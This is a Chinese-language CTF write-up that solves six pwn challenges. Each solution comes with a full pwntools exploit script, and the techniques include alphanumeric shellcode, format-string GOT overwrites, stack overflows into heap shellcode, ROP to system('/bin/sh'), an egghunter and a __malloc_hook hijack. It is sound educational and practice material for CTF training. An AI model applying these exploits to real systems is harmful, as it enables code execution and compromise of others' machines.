0x01 ascii

程序读取0xc8个字符到buf中,字符ascii>32,并且跳转到buf执行。
因此输入长度小于0xc8的可见字符shellcode即可。
1519184777805

测试可见字符shellcode

// gcc -z execstack -m32  -o test  test.c
#include <stdio.h>
int main()
{
	// char shellcode[] = "PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx";
	// char shellcode[] = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA";
	char shelcode[] = "PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE1D485C3E1YKM6L7L060Y011T2OKO2B5NJO90MM9M3I00";
	(*(void (*)())shellcode)();
}

REF
1. 维基百科ASCII表 https://zh.wikipedia.org/wiki/ASCII
2. 可见字符shellcode https://introspelliam.github.io/2017/09/30/%E5%85%A8%E6%98%AF%E5%8F%AF%E8%A7%81%E5%AD%97%E7%AC%A6%E7%9A%84shellcode/

0x02 easyfsb

getname中存在fsb。利用:1.利用fsb写exit GOT为main或getname使得fsb可以多次触发。2.利用fsb读puts ADDR结合libc.so得到system和binsh ADDR。3. 利用fsb写,劫持printf GOT为system再输入binsh即可。
1519291141076

1519291188962

#!/usr/bin/env python
# coding=utf-8
# author: thinkycx
# date: 2018-02-22
from pwn import *


def pwn():
  io.recvuntil('Welcome~\n')

  offset = 7
  addr_getname = 0x0804866E
  addr_main = 0x08048648
  addr_start = 0x080484A0
  payload = fmtstr_payload(offset, {elf.got['exit']: addr_start})
  io.sendline(payload)

  if debug:
    bpsbreak_exit = 'b *0x08048678'
    gdb.attach(pidof('pwn1')[0],bpsbreak_exit)

  # get libc ADDR
  payload = "addr:%47$p"
  io.sendafter("Welcome~\n",payload)
  data = io.recv(15).split(":")[1]
  log.info(data)
  libc.address = int(data, 16) - 247 - libc.symbols['__libc_start_main']
  log.info(hex(libc.address))

  log.info("hjack printf GOT")
  payload = fmtstr_payload(offset, {elf.got['printf']: libc.symbols['system']})
  io.sendlineafter("Welcome~",payload)
  log.info("send binsh")
  payload = "/bin/sh\x00"
  io.sendlineafter("Welcome~",payload)

if __name__ == '__main__':
    global io, elf, libc, debug
    local, debug = 1, 0 
    context.log_level = 'debug'
    elf = ELF('./pwn1')
    if local:
        io = process('./pwn1')
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')
        context.terminal = ['terminator','-x','sh','-c']
    else:
        io = remote('127.0.0.1',10000)
        libc = ELF('./libc-32.so')
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')
        
    pwn()
    io.interactive()

0x03 guys

程序首先gets读取输入, 0x1F4< s <=0x1fe。并memcpy s到mprotect开辟的堆空间中,堆空间有执行权限且地址已知。最后继续用gets获取输入。
因此第一次gets时输入shellcode,再利用栈溢出控制EIP到堆中即可。坑点:main函数返回时根据pop的ecx得到的esp,因此根据ecx来构造esp,栈地址可以根据s得到。如果没有栈的地址,如果地址空间有可用的jmp esp应该可以。
1519305435413

注意点:

  • mprotect permission是4具有执行权限。
#!/usr/bin/env python
# coding=utf-8
# author: thinkycx
# date: 2018-02-22
from pwn import *
context.local(arch = 'i386', os = 'linux')

def pwn():
    payload = asm(shellcraft.sh()).ljust(0x1fe, "A")
    io.recvuntil("Hello guys!\n")
    ret_addr = int(io.recv(11),16) + 0x228
    log.info("ret addr is :" + hex(ret_addr))
    io.sendline(payload)
    
    if debug:
        bps = ''
        bpsbreak_exit = 'b *0x08048678\n break *0x0804890C'
        gdb.attach(pidof('guys')[0],bpsbreak_exit)

    io.recvuntil("Somethings strange?\n")
    heapaddr = int(io.recv(1024),16)
    log.info("heap addr is" + hex(heapaddr))

    # payload = "A"*0x228 + p32(heapaddr)
    payload = "A"*(0x224 - 0xc) + p32(heapaddr + 4) + "B"*0x8 
    payload = "A"*(0x224 - 0xc) + p32(ret_addr + 4) + "B"*0xC + p32(heapaddr)
    io.sendline(payload)

if __name__ == '__main__':
    global io, elf, libc, debug
    local, debug = 1, 0 
    context.log_level = 'debug'
    elf = ELF('./guys')
    if local:
        io = process('./guys')
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')
        context.terminal = ['terminator','-x','sh','-c']
    else:
        io = remote('127.0.0.1',10000)
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')
        
    pwn()
    io.interactive()

0x04 again and again

程序获取8个数字保存在数组中,在read_num中可以读取输入的数字。在比较时存在整数溢出,因此可以控制v4,例如为2^31。那么可以在read_num中leak stack info。evil函数可被触发一次,存在栈溢出。64位程序,只开了NX。
利用思路一:1. info leak stack中的libc ADDR,题目提供了libc,可得到system和binsh的地址。2.栈溢出ROP。
利用思路二:1. info leak stack 中puts的返回地址。2.栈溢出构造rop:先泄漏libc地址,再构造rop向puts返回地址写rop。再构造rop给read读。 暂时没搞懂。
main函数:
1519316353666

栈info leak:
1519316110963

evil栈溢出:
1519316407236

#!/usr/bin/env python
# coding=utf-8
#!/usr/bin/env python
# coding=utf-8
# author: thinkycx
# date: 2018-02-22
from pwn import *
context.local(arch = 'amd64', os = 'linux')

def input_number():
    for i in range(8):
        io.sendlineafter("number:",unicode(i))

def pwn():
    input_number()
    
    io.sendlineafter("want to see?\n", unicode(pow(2,31)))
    io.sendlineafter("you want to seek: \n",unicode(12))
    data = io.recvline().split("result = ")[1]
    libc_start_main = int(data, 10) - 240
    log.info("libc_start_main :" + hex(libc_start_main))

    libc.address = libc_start_main - libc.symbols['__libc_start_main']

    if debug:
        bps = ''
        bps_vulnret = "b *0x00000000004007C8"
        gdb.attach(pidof('second')[0],bps_vulnret)

    poprdi_ret = 0x0000000000400983
    binsh_addr = next(libc.search('/bin/sh'))
    payload = 'A'*0x18 + p64(poprdi_ret) + p64(binsh_addr) + p64(libc.symbols['system'])
    io.sendlineafter("Your name:", payload)


if __name__ == '__main__':
    global io, elf, libc, debug
    local, debug = 1, 1 
    context.log_level = 'debug'
    elf = ELF('./second')
    if local:
        io = process('./second')
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        context.terminal = ['terminator','-x','sh','-c']
    else:
        io = remote('127.0.0.1',10000)
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    pwn()
    io.interactive()

0x05 bad egg

32位程序,堆栈可执行,保护机制只开了PIE。程序首先malloc一个0 ~ 1000的chunk1,地址已知。随后再紧接着malloc一个256的chunk2。sub_9AB中存在栈溢出,buffer大小为0x10,buffer地址已知。buffer中不能出现sh,随后程序向chunk2读取0x100字节。

栈溢出 0x10 <- 0x20。没有libc无法构造rop,buffer大小有限,拿shell的shellcode目前已知最小是21byte。可以控制EIP执行chunk2中的shellcode。 chunk2的地址范围约为 chunk1 addr ~ chunk1 addr+1000。
方法一:"NOP" + 猜测chunk2地址。
方法二:利用egghunter搜索chunk2中shellcode的地址。
main函数:
1519379556951

sub_8B0函数:
1519385990783

sub_9AB函数:
1519386159416

egghunter:

栈上的shellcode应该布置为一段“egg hunter”代码:即从某一指定内存开始,寻找一个特定的tag,该tag位于存储在堆上的getshell_shellcode的开头,因此找到了tag字符串,也就定位到了shellcode的内存准确位置.

egghunter asm:
1519448872304-pwn_3

1519379556951

egghunter在jmp eax时跳转到的是tag,由于tag设置的是0x41904190,"\x90\x41\x90\x41",对应汇编是nop; inc ecx; nop; inc ecx; 因此shellcode应该与ecx无关,当然也可以设置tag为其它值。
1519379579886

1519379701820

在调试egghunter时发现了asm和机器码转化时ptr的一个细节:
1519388053140

注意点:

  • egghunter这里的大小是19byte,最小是18byte 0x12,可以跳转到指定地址后tag处执行。
#!/usr/bin/env python
# coding=utf-8
# author: thinkycx
# date: 2018-02-23
from pwn import *
context.local(arch = 'i386', os = 'linux')

def pwn():
    io.recvuntil("Your party seat is ")
    heapaddr = int(io.recv(10),16)

    io.sendlineafter("Baby, treat or trick?","treat")
    io.recvuntil("It's located in ")
    buf_addr = int(io.recv(10),16)
    
    # way 1
    #size = 0x100 # random
    #payload = "A"*0x14 + p32(heapaddr + size) 

    egghunter = asm(''' # 19 byte
        start:
            mov eax,%d;
            mov ebx,0x4190418f;
            inc ebx;
        nextaddr:
            inc eax;
            cmp dword ptr [eax],ebx;
            jnz nextaddr;
            jmp eax''' % (heapaddr-1) )
    log.info("egghunter size is :" + str(len(egghunter)))
    log.info("egghunter is :" + egghunter)
    assert len(egghunter) < 0x14
    payload = egghunter.ljust(0x14,'A') + p32(buf_addr)

    io.sendlineafter("What's your name?",payload)
    if debug: 
        gdb.attach(pidof('egg')[0])

    payload = "\x90\x41\x90\x41" + asm(shellcraft.sh())
    payload = payload.ljust(0x100,'A')
    io.sendlineafter("Put your sweets here.",payload)

if __name__ == '__main__':
    global io, elf, libc, debug
    local, debug = 1,0 
    context.log_level = 'debug'
    elf = ELF('./egg')
    if local:
        io = process('./egg')
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        context.terminal = ['terminator','-x','sh','-c']
    else:
        io = remote('127.0.0.1',10000)
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    pwn()
    io.interactive()

0x06 dictor

这题是一开始没做出来,后来也很久没有调试的一题。相似的题目有0ctf2017的EasiestPrintf(还没调)。做这题之前需要重新炒一下冷饭——格式化字符串漏洞。

回顾格式化字符串漏洞

格式化字符串漏洞原理:format可控。可以操作格式化操作。

格式化字符串漏洞效果:1. info leak 栈中高地址%p。2. DOS或读栈中某地址处的值%{0}$s。3. 任意地址写%{0}c%{1}$hhn。%{0}c产生{0}个字符,%{1}$指定offset+{1}处的位置。hhn 1字节写,把产生的字符数写入指定地址。

格式化字符串漏洞的难点在于任意地址写。pwntools中fmtstr_payload{offset, {addr1: addr2}}可以用,缺点在于payload中地址在首部,如果写入的地址中有\x00会导致printf截断,字符不能输出。因此,地址需要放在尾部。

任意地址写通用payload:%{0}c%{1}$hhn + PADDING + ADDR。可以参考bluecake写的generate_format。下面exp中的例子是64位程序,1字节写,offset是6,padding是104。因此地址位置是:offset+padding/8: 6 + 104/8 = 19。每次使用时,需要修改padding和num 19
若是32位程序,循环次数为4,地址位置:offset+padding/4。

利用前提,计算offset的payload: ABCD|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p 查看ABCD出现的位置。

dictor

程序很简单,main函数中read 0xff后调用printf输出就结束。程序运行时还输出了hello foolish,分析发现这是在main函数之前输出的。交叉应用字符串后发现在_init_array中调用了init_hidden_func函数。

printf函数之后程序就结束了,本题的offset 是6,为了能够多次使用fsb。官方writeup里用fsb修改了_fini_array中的函数,该函数会在程序结束前调用。可以多次使用fsb后,就可以泄漏libc,hjack __malloc_hook为system,传入一个指向sh的指针给printf,输入字符过多调__malloc_hook,就可以拿shell了。
1519448213250

1519448306221

1519448872304

注意点:

  • 写exp时接收字符有一个技巧是:用padding+泄漏payload+\n,接受时用recvline()。
  • 程序开始和结束还会调用init、finit。
  • 如果fsb要写入的地址没有\x00可以用pwntools,有\x00用bluecake的generate_format。
  • printf输出过多会调用malloc,可以劫持__malloc_hook,再传入一个指向sh的地址可以拿shell。
#!/usr/bin/env python
# coding=utf-8
# author: thinkycx
# date: 2018-2-24
from pwn import *
context.local(arch = 'amd64', os = 'linux')

def generate_format(addr, value, addition = ''):
    # author: bluecake
    payload = ''
    print_count = 0
    addr_part = ''
    for i in range(8): # 8 or 4
        if (value >> (8*i)) == 0:
            break
        one_byte = (value >> (8*i)) & 0xff
        #print hex(one_byte)
        # 19 = offset + padding /8 or 4 
        payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 19 + i)
        print_count += (one_byte - print_count) % 0x100 
        addr_part += p64(addr + i)
    payload += addition
    payload = payload.ljust(104, 'a') #padding
    payload += addr_part
    return payload


def pwn():
    io.recvuntil("hello foolish")
    log.info("write fini to start & leak libc...")
    # fmtstr_payload(6,{0x601048:0x4005D0})
    payload = "%208c%16$hhn%53c%17$hhn%59c%18$hhn%192c%19$hhn"
    payload += '----%39$p\n'
    payload = payload.ljust(80,'A') 
    payload += p64(0x601050) + p64(0x601051) + p64(0x601052) + p64(0x601053)#last
    io.sendline(payload)

    io.recvuntil("----")
    libc.address = int(io.recvline(),16) - 240 - libc.symbols['__libc_start_main']
    log.info("libc address @ 0x%x" % libc.address )
    
    if debug:
        gdb.attach(pidof('dictor')[0])
    
    log.info("__malloc_hook @ 0x%x" % libc.symbols['__malloc_hook'])
    log.info("system @ 0x%x" % libc.symbols['system'])
    malloc_hook = libc.symbols['__malloc_hook']
    system_addr = libc.symbols['system']
    #payload = fmtstr_payload(6,{malloc_hook: system_addr})
    payload = generate_format(malloc_hook, system_addr)
    log.info("payload # " + payload)
    io.sendlineafter("hello foolish", payload)
    sleep(1)

    log.info("tigger sh to printf malloc hook...")
    payload = "%{0}c".format(0x60082f - 0x20)
    io.sendlineafter("hello foolish",payload)
    io.sendline("whoami;ls")
    

if __name__ == '__main__':
    global io, elf, libc, debug
    local, debug = 1,0 
    context.log_level = 'debug'
    elf = ELF('./dictor')
    if local:
        io = process('./dictor')
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        context.terminal = ['terminator','-x','sh','-c']
    else:
        io = remote('127.0.0.1',10000)
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    pwn()
    io.interactive()